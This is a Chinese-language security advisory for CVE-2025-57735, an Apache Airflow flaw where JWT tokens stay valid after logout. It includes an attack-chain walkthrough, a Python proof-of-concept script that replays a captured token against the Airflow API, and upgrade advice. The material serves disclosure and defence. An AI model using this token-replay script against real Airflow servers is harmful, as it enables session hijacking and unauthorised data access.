IPBUF安全漏洞报告
English
CVE-2025-57735 CVSS 9.1 严重

CVE-2025-57735 Apache Airflow JWT Token未失效漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2025-57735
漏洞类型
认证绕过
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Apache Airflow

相关标签

认证绕过Apache AirflowJWT会话管理严重漏洞

漏洞概述

Apache Airflow存在严重安全漏洞,当用户执行登出操作时,系统并未立即失效其持有的JWT认证令牌。这使得攻击者一旦通过中间人攻击等手段截获了该令牌,便可在用户登出后继续重用该令牌进行身份验证,绕过访问控制。该漏洞严重威胁系统的机密性与完整性,建议用户尽快升级。

技术细节

该漏洞源于Apache Airflow在用户会话管理机制中的设计缺陷,具体涉及JWT(JSON Web Token)的生命周期管理。在受影响版本中,当用户主动执行登出操作时,系统仅清除了客户端存储的Token凭证,但服务端并未实施相应的Token失效逻辑(如加入黑名单或撤销列表)。由于JWT本质上是无状态的,且在签发时设定了固定的过期时间,服务端默认会信任所有未过期且签名正确的Token。因此,若攻击者能够在用户登出前,通过网络嗅探、中间人攻击或利用客户端漏洞(如XSS)截获该JWT字符串,即可在用户离线后继续使用该Token向服务器发送认证请求。服务端无法区分该Token是否已被用户主动废弃,导致攻击者能够绕过身份验证,以受害者身份维持会话,进而窃取敏感数据或执行恶意指令,严重威胁系统安全。

攻击链分析

STEP 1
步骤1:流量监听
攻击者通过网络嗅探、中间人攻击或XSS等方式,监听受害者与Airflow服务器之间的通信流量。
STEP 2
步骤2:Token截获
在用户登录成功后,攻击者截获服务器返回的JWT认证令牌。
STEP 3
步骤3:用户登出
受害者正常使用完系统后执行登出操作,客户端删除本地Token。
STEP 4
步骤4:Token重放
攻击者使用之前截获的JWT Token,构造新的HTTP请求发送给服务器。
STEP 5
步骤5:获取权限
由于服务器未失效Token,验证通过,攻击者获得受害者权限,可窃取数据或执行操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL configuration target_url = "http://localhost:8080/api/v1/dags" login_url = "http://localhost:8080/login" logout_url = "http://localhost:8080/logout" # Step 1: Attacker monitors traffic or waits for user to login print("[+] Step 1: Intercepting traffic...") # Step 2: User logs in (simulated) session = requests.Session() login_payload = {"username": "admin", "password": "password"} session.post(login_url, data=login_payload) # Step 3: Attacker captures the JWT Token from the request headers or cookies # In a real scenario, this is done via sniffing or XSS jwt_token = session.cookies.get("session") # Assuming session cookie holds the JWT print(f"[+] Captured JWT Token: {jwt_token}") # Step 4: User logs out print("[+] Step 4: User performs logout...") logout_response = session.get(logout_url) print(f"[+] Logout status code: {logout_response.status_code}") # Step 5: Attacker reuses the intercepted token print("[+] Step 5: Attacker reuses intercepted token...") attack_headers = {"Authorization": f"Bearer {jwt_token}"} attack_response = requests.get(target_url, headers=attack_headers) # Step 6: Check if the request is successful if attack_response.status_code == 200: print("[!] VULNERABILITY CONFIRMED: Token is still valid after logout.") print(f"[+] Response Data: {attack_response.text[:100]}...") else: print("[-] Token was invalidated. Vulnerability not present.")

影响范围

Apache Airflow < 3.2.0

防御指南

临时缓解措施
建议立即升级至Apache Airflow 3.2.0或更高版本。如果暂时无法升级,应缩短JWT令牌的有效期,并确保所有通信强制使用HTTPS/TLS加密,以降低令牌在网络传输中被拦截的风险。同时,监控异常的API请求行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表